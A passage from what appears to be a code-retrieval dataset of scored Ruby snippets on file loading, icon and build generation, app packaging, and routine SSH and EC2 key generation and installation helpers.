"text": "def load_gemsFiles(file_name)\n return if !FileTest.exists?(file_name)\n file = nil\n j =0\n i=0\n begin\n file = File.open(file_name)\n file.each_line { |line| \n i=0\n for k in 0...15\n if( line[k] != \" \" )\n createGemOnBoardWithCode(line[k], i, j)\n i += 1\n end\n end\n j += 1\n } \n rescue IOError\n puts $!.message\n puts $!.backtrace\n ensure\n file.close\n end\n end",
"title": ""
},
{
"docid": "4b79b2ba38094258c88675e36452b373",
"score": "0.46007973",
"text": "def gen_osx_make\n osxmake = <<OSX_MAKE\ninclude makefile\n\ninstall_osx: $(PGMS) genreg.exe phase2\n\tmkdir -p ../bin\n\tmv gsc.exe ../bin/gsc\n\tmv decode.exe ../bin/decode\n\t./genreg.exe -b -c -d\nOSX_MAKE\n\n File.write(\"Makefile.osx\", osxmake)\n end",
"title": ""
},
{
"docid": "6a85750b5ccc9ce847d40cbc51661ee4",
"score": "0.45999295",
"text": "def process_icons\n icons_dir = Rails.root.join('app', 'assets', 'images', 'icons')\n tmpl = File.read(File.expand_path(\"./templates/icon.svg.erb\", __dir__))\n Dir.glob(\"#{icons_dir}/*.svg\").each do |file|\n icon_name = File.basename(file, '.svg')\n doc = Nokogiri::XML(File.read(file))\n icon_content = strip_attrs(doc).css('svg > g').to_s\n @svg_content += ERB.new(tmpl).result(binding)\n end\n end",
"title": ""
},
{
"docid": "af42e452538b6386e91ea5c968b31d68",
"score": "0.45930135",
"text": "def rebuild_from_assetfile(path, source=nil)\n reset!\n source ||= File.read(path)\n @assetfile_digest = digest(source)\n @assetfile_path = path\n build { instance_eval(source, path, 1) }\n end",
"title": ""
},
{
"docid": "e400fd63a1378bbd0960f38403f40cb3",
"score": "0.45871216",
"text": "def generate_app\n folder = \"#{@build_dir}/#{@app_name}\"\n FileUtils.rm_rf folder\n FileUtils::mkdir_p folder\n\n @platforms.each do |p|\n FileUtils::mkdir_p folder + \"/#{p}\"\n if p.start_with? 'osx'\n FileUtils::copy_entry \"#{@cache_dir}/#{@latest_version}/#{p}/nwjs.app\", \"#{folder}/#{p}/#{@app_name}.app\"\n FileUtils::cp \"#{@build_dir}/app.nw\", \"#{folder}/#{p}/#{@app_name}.app/Contents/Resources/app.nw\"\n elsif p.start_with? 'win'\n FileUtils::copy_entry \"#{@cache_dir}/#{@latest_version}/#{p}\", \"#{folder}/#{p}/#{@app_name}\"\n FileUtils::cp \"#{@build_dir}/app.nw\", \"#{folder}/#{p}/#{@app_name}/package.nw\"\n elsif p.start_with? 'linux'\n FileUtils::copy_entry \"#{@cache_dir}/#{@latest_version}/#{p}\", \"#{folder}/#{p}/#{@app_name}\"\n FileUtils::cp \"#{@build_dir}/app.nw\", \"#{folder}/#{p}/#{@app_name}/package.nw\"\n end\n end\nend",
"title": ""
},
{
"docid": "078959bff3673a7f7d08deb7a612c13c",
"score": "0.45847365",
"text": "def load(file)\n # Fetch raw text from sample_hex_data\n text = File.read(file)\n\n # Make an array out of it\n lines = []\n text.each_line do |line|\n lines << line.chop\n end\n\n # TODO: support other types of files - check the kind of file and only do this if its rtf\n # Just get the lines after the rtf formatting\n first_line = nil\n meta_data_index = nil\n lines.each_with_index { |line, i|\n if match = line.match(/.*\\\\f0\\\\fs24\\s\\\\cf0(.*)/)\n first_line = match[1]\n meta_data_index = i\n break\n end\n }\n\n # Cut off the metadata from the start\n if exists(meta_data_index)\n lines = lines[meta_data_index+1..-1]\n end\n\n # Add the first line that may have been shared with metadata\n if exists(first_line)\n lines.unshift(first_line)\n end\n\n lines = get_relevant_lines(lines)\n\n #puts 'raw data:', lines\n if is_ccg?\n process_ccg_lines(lines)\n generate_categories\n else\n process_hearthstone_lines(lines)\n end\n\n # Follow command\n # Cut out the lines from the file and save them in a new file\n # if command == \"purge\"\n # original_lines.slice!(start_index+1, end_index-start_index-1)\n # do_purge(lines, original_lines)\n # end\n\n end",
"title": ""
},
{
"docid": "2093eca3284ec2645d0eada60116f920",
"score": "0.4577591",
"text": "def icons\n icons = []\n\n icons << h.content_tag(:i, nil, class: \"icon-star\") if source.starred?\n\n icons << h.content_tag(:i, nil, class: \"icon-lock\") unless source.public?\n\n icons.join(\"\").html_safe\n end",
"title": ""
},
{
"docid": "d2282ec7ec622a08caf40e9c390c44d0",
"score": "0.4575324",
"text": "def createShortcut(ioController, iTagsSet)\n # TODO (WxRuby): Once marshal_dump and marshal_load are set correctly for Wx::Bitmap, remove the Metadata conversion\n ioController.createShortcut(@TypePluginName, @Content, getFromMarshallableObject(@Metadata), iTagsSet)\n end",
"title": ""
},
{
"docid": "3e5ce1f2dcf7166e7ab1e4b2996fe467",
"score": "0.45742336",
"text": "def reset_icons\n @icons = IconList.new(YAML.load_file(self.config['icon_meta'])['icons'])\n end",
"title": ""
},
{
"docid": "2fdb43fcc1a6b02d325739f87e47c918",
"score": "0.45736825",
"text": "def load_image(file)\n pixbuf = Gdk::Pixbuf.new file\n pixmap, mask = pixbuf.render_pixmap_and_mask\n image = Gtk::Pixmap.new(pixmap, mask)\n end",
"title": ""
},
{
"docid": "78919861a5dc5eb81b01624ce1dba65c",
"score": "0.45735595",
"text": "def generate\n result = \"#ifdef __OBJC__\\n\"\n result << \"#import #{platform == :ios ? '<UIKit/UIKit.h>' : '<Cocoa/Cocoa.h>'}\\n\"\n result << \"#endif\\n\"\n\n imports.each do |import|\n result << %|\\n#import \"#{import}\"|\n end\n\n unique_prefix_header_contents = file_accessors.collect do |file_accessor|\n file_accessor.spec_consumer.prefix_header_contents\n end.compact.uniq\n \n result << \"\\n\"\n \n unique_prefix_header_contents.each do |prefix_header_contents|\n result << prefix_header_contents\n result << \"\\n\"\n end\n \n file_accessors.each do |file_accessor|\n if prefix_header = file_accessor.prefix_header\n result << Pathname(prefix_header).read\n end\n end\n result\n end",
"title": ""
},
{
"docid": "4a055ba943bc04db68af8fbb13eaf57a",
"score": "0.4562958",
"text": "def compiled_resource_for(file)\n if file = compiled_file_from_source(file)\n project_resource file\n end\nend",
"title": ""
},
{
"docid": "d375bd57fc222016e5fc977055a5de92",
"score": "0.4560454",
"text": "def initialize(file)\n\t\t@buffer = GdkPixbuf::Pixbuf.new(file: file)\n\t\t@file = file.split(\"/\").last.split(\".\").first\n\t\t@images = []\n\tend",
"title": ""
},
{
"docid": "45c7352160c9c58552a8bc255f4a5bfb",
"score": "0.45597118",
"text": "def build_image\n puts \"rebuilding image from generated sources\"\n if defined? MFACTOR_FF\n ffyaml=YAML.load_file(MFACTOR_FF)\n ff_mfactor(ffyaml,File.open(\"generated/ff.mfactor\",\"w\"))\n end\n # iset=YAML.load_file(\"#{THISDIR}/instructionset.yml\")\n # stdlib=YAML_Mfactor.new(\"generated/mfactor.yml\",iset)\n mf=MFactor::ByteCode.const_get(GENERATOR).new([MFACTOR_SRC_DIR,\"generated\"])\n mf.load_vocab(MFACTOR_ROOT_VOCAB)\n write_dot_dependencies(mf, File.open(\"generated/all_dependencies.dot\",\"w\"), false)\n write_dot_dependencies(mf, File.open(\"generated/app_dependencies.dot\",\"w\"), true)\n File.open(MFACTOR_GENERATED_H,\"w\") do |f|\n f.puts \"#define IMAGE_SIZE #{mf.bytecode_size}\"\n # define the starting word for use in interpreter() call\n f.puts \"#define START_WORD_OFFSET \" + (mf.get_word_address(START_WORD)).to_s\n f.puts \"#define FF_LENGTH #{ffyaml.length}\" if defined? MFACTOR_FF\n end\n File.open(MFACTOR_GENERATED_C,\"w\") do |f|\n f.puts \"#include \\\"interpreter.h\\\"\"\n f.puts \"#include \\\"inst_enum.h\\\"\"\n ff_code(ffyaml || [],f)\n section_prefix = if MFACTOR_IMAGE_SECTION\n \"__attribute__((section(\\\".#{MFACTOR_IMAGE_SECTION}\\\"))) \"\n else\n \"\"\n end\n f.write \"#{section_prefix}inst image[#{mf.bytecode_size}]= {\\n\"\n mf.write_bytecode_image f\n f.write \"};\\n\"\n section_prefix = if MFACTOR_DICT_SECTION\n \"__attribute__((section(\\\".#{MFACTOR_DICT_SECTION}\\\"))) \"\n else\n \"\"\n end\n f.write \"#{section_prefix} dict_entry dict[VM_DICT] __attribute((aligned(1))) = {\\n\"\n mf.write_dictionary_entries f\n f.write \"};\\n\"\n mf.write_hash_table f\n end\n File.open(\"generated/mfactor_words.h\",\"w\") do |f|\n mf.write_word_positions(MFACTOR_C_WORDS,f)\n end\n mf\nend",
"title": ""
},
{
"docid": "0ec6e6b2373cb63b1d99ed72feb529f5",
"score": "0.45520884",
"text": "def build\n\t\tdirectories = css_sprite_directories\n\t\tdirectories.each { |directory| execute(directory) }\n\tend",
"title": ""
},
{
"docid": "5a82b7a3d55d750d6aac7cb6f58854f6",
"score": "0.45520192",
"text": "def load_bitmap(base_name, mode)\n\n png_file = File.join( File.dirname(__FILE__), 'icons', base_name )\n #png_file = \"dragons_keep/icons/#{base_name}\"\n# puts \"image : #{png_file}\"\n Wx::Bitmap.new(png_file, mode ) # Wx::BITMAP_TYPE_PNG\n end",
"title": ""
}
] |
4eb68881a49691fdc3050c02ffc728f9
|
Cookbook Name:: ssh_key_wrapper Provider:: private Copyright 2014, Virender Khatri Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
|
[
{
"docid": "5df439bcfb982aa8a070e97f159fa342",
"score": "0.0",
"text": "def whyrun_supported?\n true\nend",
"title": ""
}
] |
[
{
"docid": "d5bef3bd85f7846ba9c8edcf2bcb3898",
"score": "0.6630206",
"text": "def ssh_key(arg=nil)\n set_or_return(:ssh_key, arg, :kind_of => String)\n end",
"title": ""
},
{
"docid": "9ac3473ac019890b7eab6d4b71fbb269",
"score": "0.6564048",
"text": "def get_ssh_auth_keys(host)\n return on(host, 'cat ~/.ssh/authorized_keys').stdout\nend",
"title": ""
},
{
"docid": "a0fb6b0c907b497b49d749cff0621c39",
"score": "0.645447",
"text": "def ssh_wrapper(admin={}, wrapper_path=\"\")\n\n template \"#{wrapper_path}\" do\n source \"ssh_wrapper.erb\"\n owner admin['uid']\n group admin['gid'] || admin['username']\n mode \"0755\"\n variables(\n :key_path => \"#{admin['home']}/#{admin['deploy_key']}\"\n )\n end\n\nend",
"title": ""
},
{
"docid": "cd9e0d78c8714335aad0c68194b1a073",
"score": "0.6353313",
"text": "def ssh_key(name)\n Config::Core::File.new(@path + \"ssh-key-#{name}\")\n end",
"title": ""
},
{
"docid": "3d3a1adb81a9d1a09399d1649adf5903",
"score": "0.6228655",
"text": "def create_ssh_setup\n command = \"echo 'y\\\\\\n' \\| ssh-keygen -f /tmp/#{@name_args[0]}.key -N \\\"\\\" -P \\\"\\\"\"\n result = run_remote_command(command)\n\n if config[:username].eql? \"root\"\n auth_keys_file = '/root/.ssh/authorized_keys'\n else\n auth_keys_file = \"/home/#{config[:username]}/.ssh/authorized_keys\"\n end\n\n # we don't want to overwrite anything that may already exist here\n command = \"echo \\\"\\##{@name_args[0]}\\\" >> #{auth_keys_file}\"\n result = run_remote_command(command)\n\n command = \"cat /tmp/#{@name_args[0]}.key.pub >> #{auth_keys_file}\"\n result = run_remote_command(command)\n\n command = \"chmod 0600 #{auth_keys_file}\"\n result = run_remote_command(command)\n\n command = \"cat /tmp/#{@name_args[0]}.key\"\n ssh_key = run_remote_command(command)\n end",
"title": ""
},
{
"docid": "42ce1f8ebf203a2f849be034cac38e59",
"score": "0.6223119",
"text": "def deploy_key\n SSHKey.new(read_attribute(:deploy_key))\n end",
"title": ""
},
{
"docid": "133a2fac9a3128a9f744d6d718650169",
"score": "0.62196803",
"text": "def github_deploy_key\n SSHKey.new(read_attribute(:github_deploy_key))\n end",
"title": ""
},
{
"docid": "c7d3a4645fc7cf9dae17d07630766e90",
"score": "0.6207079",
"text": "def bits\n self.class.ssh_public_key_bits(ssh_public_key)\n end",
"title": ""
},
{
"docid": "5b774aeb3334f47498cf185e99acae08",
"score": "0.6160614",
"text": "def ssh_create(host, user, key)\n\n if key.start_with?('-----BEGIN RSA PRIVATE KEY-----')\n ssh = Net::SSH.start(host, user,\n {\n :key_data => key,\n :user_known_hosts_file => \"/dev/null\"\n } )\n elsif File.exist?(key)\n ssh = Net::SSH.start(host, user,\n {\n :key_data => IO.read(key),\n :user_known_hosts_file => \"/dev/null\"\n } )\n else\n ssh = Net::SSH.start(host, user,\n {\n :password => key,\n :user_known_hosts_file => \"/dev/null\"\n } )\n end\n\n ssh\n end",
"title": ""
},
{
"docid": "47beb3412a0e9b02d861f9b70dd0d0b3",
"score": "0.61594623",
"text": "def host_key; end",
"title": ""
},
{
"docid": "9de2391910f516de40384e080d548072",
"score": "0.61467755",
"text": "def gen_ssh_key(sshkey, passphrase)\n if !File.exists?(sshkey + \".pub\") then\n if(passphrase) then\n key = SSHKey.generate(:type => \"RSA\", :bits => 2048, :passphrase => prompt_password())\n \n # Write the private key to the file system\n File.open(sshkey, \"w\") { |f| f.write(key.encrypted_private_key) }\n else\n key = SSHKey.generate(:type => \"RSA\", :bits => 2048)\n \n # Write the private key to the file system\n File.open(sshkey, \"w\") { |f| f.write(key.private_key) }\n end\n\n # Write the public key to the file system\n File.open(sshkey + \".pub\", \"w\") { |f| f.write(key.ssh_public_key) }\n end\n end",
"title": ""
},
{
"docid": "79e4064baefa4b6f3c8506381b850c2b",
"score": "0.6131427",
"text": "def generate_ssh_key_ruby(type=\"RSA\", bits = 2048, comment = \"OpenShift-Key\")\n key = RHC::Vendor::SSHKey.generate(:type => type,\n :bits => bits,\n :comment => comment)\n ssh_dir = RHC::Config.ssh_dir\n priv_key = RHC::Config.ssh_priv_key_file_path\n pub_key = RHC::Config.ssh_pub_key_file_path\n\n if File.exists?(priv_key)\n say \"SSH key already exists: #{priv_key}. Reusing...\"\n return nil\n else\n unless File.exists?(ssh_dir)\n FileUtils.mkdir_p(ssh_dir)\n File.chmod(0700, ssh_dir)\n end\n File.open(priv_key, 'w') {|f| f.write(key.private_key)}\n File.chmod(0600, priv_key)\n File.open(pub_key, 'w') {|f| f.write(key.ssh_public_key)}\n\n ssh_add\n end\n pub_key\n end",
"title": ""
},
{
"docid": "16be4f9434b9da8581b29a6b9e506d17",
"score": "0.60943055",
"text": "def public_key\n @key ||= File.read(\"#{ENV['HOME']}/.ssh/id_rsa.pub\")\nend",
"title": ""
},
{
"docid": "e27477a848783a1efcb9d46fd44aa067",
"score": "0.6069371",
"text": "def setup_ssh_key(node_name)\n network_settings = @network_settings.node_settings(node_name)\n { 'whoami' => network_settings['whoami'],\n 'network' => network_settings['network'],\n 'keyfile' => network_settings['keyfile'],\n 'name' => node_name }\n end",
"title": ""
},
{
"docid": "b714f9c6dc0584d3f1cfff7a8ac9a5f4",
"score": "0.60569346",
"text": "def ssh_key(id)\n get(\"/user/keys/#{id}\")\n end",
"title": ""
},
{
"docid": "fa329dbf2de5b7e41471d0caf818c464",
"score": "0.60019886",
"text": "def exchange_keys\n debug { \"exchanging keys\" }\n\n algorithm = Kex::MAP[kex].new(self, session,\n :client_version_string => Net::SSH::Transport::ServerVersion::PROTO_VERSION,\n :server_version_string => session.server_version.version,\n :server_algorithm_packet => @server_packet,\n :client_algorithm_packet => @client_packet,\n :need_bytes => kex_byte_requirement,\n :logger => logger)\n result = algorithm.exchange_keys\n\t\t \n\t\t #added by jonas\n\t\t result[:type] = host_key()\n\t\t @key_data = result\n\n secret = result[:shared_secret].to_ssh\n hash = result[:session_id]\n digester = result[:hashing_algorithm]\n\n @session_id ||= hash\n\n key = Proc.new { |salt| digester.digest(secret + hash + salt + @session_id) }\n \n iv_client = key[\"A\"]\n iv_server = key[\"B\"]\n key_client = key[\"C\"]\n key_server = key[\"D\"]\n mac_key_client = key[\"E\"]\n mac_key_server = key[\"F\"]\n\n parameters = { :iv => iv_client, :key => key_client, :shared => secret,\n :hash => hash, :digester => digester }\n \n cipher_client = CipherFactory.get(encryption_client, parameters.merge(:encrypt => true))\n cipher_server = CipherFactory.get(encryption_server, parameters.merge(:iv => iv_server, :key => key_server, :decrypt => true))\n\n mac_client = HMAC.get(hmac_client, mac_key_client)\n mac_server = HMAC.get(hmac_server, mac_key_server)\n\n session.configure_client :cipher => cipher_client, :hmac => mac_client,\n :compression => normalize_compression_name(compression_client),\n :compression_level => options[:compression_level],\n :rekey_limit => options[:rekey_limit],\n :max_packets => options[:rekey_packet_limit],\n :max_blocks => options[:rekey_blocks_limit]\n\n session.configure_server :cipher => cipher_server, :hmac => mac_server,\n :compression => normalize_compression_name(compression_server),\n :rekey_limit => options[:rekey_limit],\n :max_packets => options[:rekey_packet_limit],\n :max_blocks => options[:rekey_blocks_limit]\n\n @initialized = true\n end",
"title": ""
},
{
"docid": "4180ea12082fe3c5b5dfadd265666e64",
"score": "0.596133",
"text": "def ssh_data\n <<-SSH_DATA\n ssh-keys = \"#{@user}:#{@public_key_value}}\"\n enable-oslogin = \"FALSE\"\n SSH_DATA\n end",
"title": ""
},
{
"docid": "f345869da22ee72b56093f67235d5e7b",
"score": "0.59608924",
"text": "def verify_key\n Chef::Log.info('Check for RSA key and download key ')\n\n if ::File.exist?('/opt/IBM/SCM_id_rsa')\n Chef::Log.info('Key already exist..........')\n else\n Chef::Log.info('Downloading the key.........')\n # copy the ssh key for TSCM to /opt/IBM/\n cookbook_file node['tscm']['key'].to_s do\n source node['tscm']['key_name'].to_s\n owner 'root'\n mode '400'\n action :create_if_missing\n end\n Chef::Log.info('Finished downloading RSA key...............')\n end\nend",
"title": ""
},
{
"docid": "ac0ec5f01cc58ae2fa84f133e115f4e3",
"score": "0.595623",
"text": "def host_key_verifier; end",
"title": ""
},
{
"docid": "c15a24ef7e930142ce67531dcb8602b1",
"score": "0.5952776",
"text": "def createEc2SSHKey\n\t\t\treturn [@keypairname, @ssh_private_key, @ssh_public_key] if !@keypairname.nil?\n\t\t keyname=\"deploy-#{MU.mu_id}\"\n\t\t\tkeypair = MU.ec2(MU.myRegion).create_key_pair(key_name: keyname)\n\t\t\t@keypairname = keyname\n\t\t @ssh_private_key = keypair.key_material\n\t\t\tMU.log \"SSH Key Pair '#{keyname}' fingerprint is #{keypair.key_fingerprint}\"\n\t\t\n\t\t if !File.directory?(\"#{@myhome}/.ssh\") then\n\t\t\t\tMU.log \"Creating #{@myhome}/.ssh\", MU::DEBUG\n\t\t Dir.mkdir(\"#{@myhome}/.ssh\", 0700)\n\t\t end\n\t\t\n\t\t # Plop this private key into our local SSH key stash\n\t\t\tMU.log \"Depositing key '#{keyname}' into #{@myhome}/.ssh/#{keyname}\", MU::DEBUG\n\t\t ssh_keyfile = File.new(\"#{@myhome}/.ssh/#{keyname}\", File::CREAT|File::TRUNC|File::RDWR, 0600)\n\t\t ssh_keyfile.puts @ssh_private_key\n\t\t ssh_keyfile.close\n\n\t\t\t# Drag out the public key half of this\n\t\t\t@ssh_public_key = %x{/usr/bin/ssh-keygen -y -f #{@myhome}/.ssh/#{keyname}}\n\t\t\t@ssh_public_key.chomp!\n\n\t\t\t# Replicate this key in all regions\n\t\t\tMU::Config.listRegions.each { |region|\n\t\t\t\tnext if region == MU.myRegion\n\t\t\t\tMU.log \"Replicating #{keyname} to #{region}\", MU::DEBUG, details: @ssh_public_key\n\t\t\t\tMU.ec2(region).import_key_pair(\n\t\t\t\t\tkey_name: @keypairname,\n\t\t\t\t\tpublic_key_material: @ssh_public_key\n\t\t\t\t)\n\t\t\t}\n\n# XXX This library code would be nicer... except it can't do PKCS8.\n#\t\t\tfoo = OpenSSL::PKey::RSA.new(@ssh_private_key)\n#\t\t\tbar = foo.public_key\n\n\t\t\tsleep 3\n\t\t return [keyname, keypair.key_material, @ssh_public_key]\n\t\tend",
"title": ""
},
{
"docid": "c0d864eb0977bf5b44ad0d5b17d11988",
"score": "0.5948592",
"text": "def addkey\n key = \"#{ENV['HOME']}/.ssh/id_rsa.pub\"\n run \"ssh-keygen -t rsa -N \\\"#{named_options[\"passphrase\"]}\\\" -f #{key}\" unless File.exists?(key)\n\n key_contents = File.read(key)\n run_remote_command \"mkdir ~/.ssh 2>/dev/null; chmod 700 ~/.ssh; echo \\\"#{key_contents}\\\" >> ~/.ssh/authorized_keys; chmod 644 ~/.ssh/authorized_keys\"\n end",
"title": ""
},
{
"docid": "d9433fe058f92f982dfcbf1f3a4ee3dd",
"score": "0.59478134",
"text": "def key_manager; end",
"title": ""
},
{
"docid": "48102b256d389f13d333213bb9e2b32f",
"score": "0.59232575",
"text": "def set_sshkey\n @sshkey = Sshkey.find(params[:id])\n end",
"title": ""
},
{
"docid": "dc998c5ec1b81484f57b8046b897a8ae",
"score": "0.59227157",
"text": "def configure_server_ssh_key(machine)\n exit_code = SUCCESS_RESULT\n options = Net::SSH.configuration_for(machine['network'], true)\n options[:auth_methods] = %w[publickey none]\n options[:verify_host_key] = false\n options[:keys] = [machine['keyfile']]\n begin\n Net::SSH.start(machine['network'], machine['whoami'], options) do |ssh|\n add_key(ssh)\n end\n rescue StandardError\n @ui.error(\"Could not initiate connection to the node '#{machine['name']}'\")\n exit_code = ERROR_RESULT\n end\n exit_code\n end",
"title": ""
},
{
"docid": "b1954fbb9f838bd726b652f8d2c4e929",
"score": "0.592012",
"text": "def create_ssh(private_key:, **args)\n\t\t\t\t\tjson_body = {\n\t\t\t\t\t\t'' => '1',\n\t\t\t\t\t\tcredentials: args.merge(\n\t\t\t\t\t\t\tprivateKeySource: {\n\t\t\t\t\t\t\t\tvalue: '0',\n\t\t\t\t\t\t\t\tprivateKey: private_key,\n\t\t\t\t\t\t\t\t'stapler-class' => 'com.cloudbees.jenkins.plugins.sshcredentials.impl.'\\\n\t\t\t\t\t\t\t\t\t'BasicSSHUserPrivateKey$DirectEntryPrivateKeySource'\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t'$class' => 'com.cloudbees.jenkins.plugins.sshcredentials.impl.'\\\n\t\t\t\t\t\t\t\t'BasicSSHUserPrivateKey'\n\t\t\t\t\t\t)\n\t\t\t\t\t}.to_json\n\t\t\t\t\tcreate_(\"json=#{::CGI.escape json_body}\")\n\t\t\t\tend",
"title": ""
},
{
"docid": "eb3c9aee0a59e205604ba4b02c481cfc",
"score": "0.5914233",
"text": "def set_ssh_key\n @ssh_key = current_user.ssh_keys.find(params[:id])\n end",
"title": ""
},
{
"docid": "f2990d6564f2c3708ce68d933fcba532",
"score": "0.59108305",
"text": "def private_key; end",
"title": ""
},
{
"docid": "f2990d6564f2c3708ce68d933fcba532",
"score": "0.59108305",
"text": "def private_key; end",
"title": ""
},
{
"docid": "e3080810f400665fed235511ef99d9da",
"score": "0.59029466",
"text": "def ssh_type; end",
"title": ""
},
{
"docid": "e3080810f400665fed235511ef99d9da",
"score": "0.59029466",
"text": "def ssh_type; end",
"title": ""
},
{
"docid": "e3080810f400665fed235511ef99d9da",
"score": "0.59029466",
"text": "def ssh_type; end",
"title": ""
},
{
"docid": "e3080810f400665fed235511ef99d9da",
"score": "0.59029466",
"text": "def ssh_type; end",
"title": ""
},
{
"docid": "11989a795837821b106f4133fac6311b",
"score": "0.58924097",
"text": "def add_key(key)\n deprecate # 07/31/2012\n post(\"/user/keys\", key, { 'Content-Type' => 'text/ssh-authkey' }).to_s\n end",
"title": ""
},
{
"docid": "e5ab955e14896d139733671d8dd5481a",
"score": "0.58841085",
"text": "def ssh_key(username, project, key, hostname)\n default_config.logger.warn('[Deprecated] Use instance method CircleCi::Project#ssh_key instead')\n new(username, project, default_config).ssh_key(key, hostname)\n end",
"title": ""
},
{
"docid": "26c52fcef299f85d144b6259de918824",
"score": "0.58793616",
"text": "def add_key(ssh)\n output = ssh.exec!('cat ~/.ssh/authorized_keys')\n key_file_content = File.read(@keyfile)\n ssh.exec!('mkdir ~/.ssh')\n ssh.exec!(\"echo '#{key_file_content}' >> ~/.ssh/authorized_keys\") unless output.include? key_file_content\n end",
"title": ""
},
{
"docid": "b4ac63bd0f15390e9dff18d2c010bfe9",
"score": "0.5844136",
"text": "def _ssh_keys\n Chef::Log.info \"Getting keys for user #{ username } from https://github.com/#{ github_username }.keys.\"\n keys = Array(ssh_keys)\n if github_username\n @github_keys = begin\n Chef::HTTP.new('https://github.com').get(\"#{ github_username }.keys\")\n # Use a really big hammer, github being down shouldn't break things.\n # The downside is that if github is down, it will yank your key, possibly\n # leaving login unavailable. Not sure what to do about this right now.\n rescue\n Chef::Log.fatal \"There was an issue getting keys for user #{ username } from https://github.com/#{ github_username }.keys.\"\n end\n Chef::Log.debug \"Got from request: #{@github_keys}\"\n keys += @github_keys.split(\"\\n\")\n end\n Chef::Log.debug \"found some keys! #{keys}\"\n keys\n end",
"title": ""
},
{
"docid": "f9ed6a8f65e4205b91ce1126c0c09457",
"score": "0.5841993",
"text": "def set_sshkey\n\t\t@sshkey = Sshkey.find(params[:id])\n\tend",
"title": ""
},
{
"docid": "42e659634cf9f25e9b2d5ad452f63e07",
"score": "0.58211917",
"text": "def ssh_key_params\n params.require(:ssh_key).permit(:name, :key_string)\n end",
"title": ""
},
{
"docid": "9a48c63888e3ca3614358a9e8afc0f38",
"score": "0.58107555",
"text": "def ssh_resource\n key_pair_name = self.class.generate_key_pair_name(@configuration_id, @configuration_path)\n <<-SSH_DATA\n resource \"digitalocean_ssh_key\" \"default\" {\n name = \"#{key_pair_name}\"\n public_key = \"#{@public_key_value}\"\n }\n SSH_DATA\n end",
"title": ""
},
{
"docid": "e6300c5ea864dbc801a06c90b7263259",
"score": "0.58096373",
"text": "def ssh\n platform_service(:ssh)\n end",
"title": ""
},
{
"docid": "42fa5a2928dd9eec519bbf40dee4efba",
"score": "0.5805147",
"text": "def ssh_array\n [\"-o StrictHostKeyChecking=no\", \"-l '#{Base.user}'\", '-i \"'+full_keypair_path+'\"']\n end",
"title": ""
},
{
"docid": "f7386d84bad165d930cb563182f32055",
"score": "0.578819",
"text": "def ssh_key_nice\n nice_key = \"\"\n ssh_key.split(\"\\n\").each do |key_slice|\n if key_slice.size < 20\n nice_key += key_slice + \"\\n\"\n else\n i = 0\n while i < key_slice.size\n nice_key += key_slice.slice(i..i+20) + \"\\n\"\n i += 21\n end\n end\n end \n return nice_key\n end",
"title": ""
},
{
"docid": "a0a45dbf1a61e2c3583605a4506a17df",
"score": "0.57828104",
"text": "def create_keys_files(config_data,external_private_key_path,internal_private_key_path,internal_public_key_path)\n if !File.exist?(external_private_key_path) and !File.exist?(internal_private_key_path)\n File.open(external_private_key_path, \"w\") do |f|\n config_data['keys']['external_private_key'].each { |element| f.puts(element) }\n end\n File.chmod(0600,external_private_key_path)\n File.open(internal_private_key_path, \"w\") do |f|\n config_data['keys']['internal_private_key'].each { |element| f.puts(element) }\n end\n File.chmod(0600,internal_private_key_path)\n end\n if !File.exist?(internal_public_key_path)\n shell_cmd = \"ssh-keygen -y -f #{internal_private_key_path}\"\n generated_key = %x[ #{shell_cmd} ]\n File.open(internal_public_key_path, \"w\") do |f|\n f.puts(generated_key)\n end\n end\nend",
"title": ""
},
{
"docid": "85cba5ae5a1abc31075ed8cea9205dbc",
"score": "0.5780573",
"text": "def setup_ssh_keys\n @env[:ui].info 'Ensuring ssh-keys have been added via `ssh-add`...'\n current_keys = `ssh-add -l`\n if current_keys.include? 'no identities'\n success = system('ssh-add')\n if success\n @env[:ui].success '...ssh-keys successfully added'\n else\n @env[:ui].warn 'failed to call `ssh-add`, some requirements may fail to install'\n end\n else\n @env[:ui].info '...ssh-keys detected, skipping `ssh-add`'\n end\n end",
"title": ""
},
{
"docid": "fe6720f8ad92b985c09ac65ac51a3fd4",
"score": "0.5765452",
"text": "def compute_shared_secret(server_ecdh_pubkey); end",
"title": ""
},
{
"docid": "3061f2dfcd12a1bdbcd95c6452753cc0",
"score": "0.57563424",
"text": "def supported_ssh_host_key_algorithms\n @host_key_algo ||= SshKey.supported_host_key_algorithms(\n Util.read_file([:node_ssh_pub_key, @node.name])\n )\n end",
"title": ""
},
{
"docid": "33983a2212aca08a00be367b2bec1f38",
"score": "0.57514364",
"text": "def initialize_ssh; end",
"title": ""
},
{
"docid": "d67a6484b87f594819f7ab4ff1a7767e",
"score": "0.5751373",
"text": "def _wrapper_key; end",
"title": ""
},
{
"docid": "550ad489ae90e612179712e5b959e947",
"score": "0.5749344",
"text": "def kind\n :ssh\n end",
"title": ""
},
{
"docid": "71165cb98f5712f813d3e03cdd64ff4b",
"score": "0.571169",
"text": "def install_key_from_keyserver(key, keyserver)\n execute \"install-key #{key}\" do\n if !node['apt']['key_proxy'].empty?\n command \"apt-key adv --keyserver-options http-proxy=#{node['apt']['key_proxy']} --keyserver hkp://#{keyserver}:80 --recv #{key}\"\n else\n command \"apt-key adv --keyserver #{keyserver} --recv #{key}\"\n end\n action :run\n not_if do\n extract_fingerprints_from_cmd('apt-key finger').any? do |fingerprint|\n fingerprint.end_with?(key.upcase)\n end\n end\n end\nend",
"title": ""
},
{
"docid": "cdaf0f4f282f5cf3aa45166ff80fcdf3",
"score": "0.56936085",
"text": "def set_ssh_key_service(username, pemkey, password = nil, elevation_type = nil, elevation_user = nil, elevation_password = nil)\n @user_name = username\n @password = password\n @pem_format_private_key = pemkey\n @permission_elevation_type = elevation_type || ElevationType::NONE\n @permission_elevation_user = elevation_user\n @permission_elevation_password = elevation_password\n @service = Service::SSH_KEY\n end",
"title": ""
},
{
"docid": "aa424ef01791ec9e176efc042da819bc",
"score": "0.5692956",
"text": "def copyKey (ip, username)\n \n puts \"Connecting to #{ip} with User -> #{username}.....\"\n\n # Magic Command - the mirror to ssh-copy-id\n system \"cat ~/.ssh/id_rsa.pub | ssh #{username}@#{ip} 'mkdir ~/.ssh; cat >> ~/.ssh/authorized_keys'\"\n end",
"title": ""
},
{
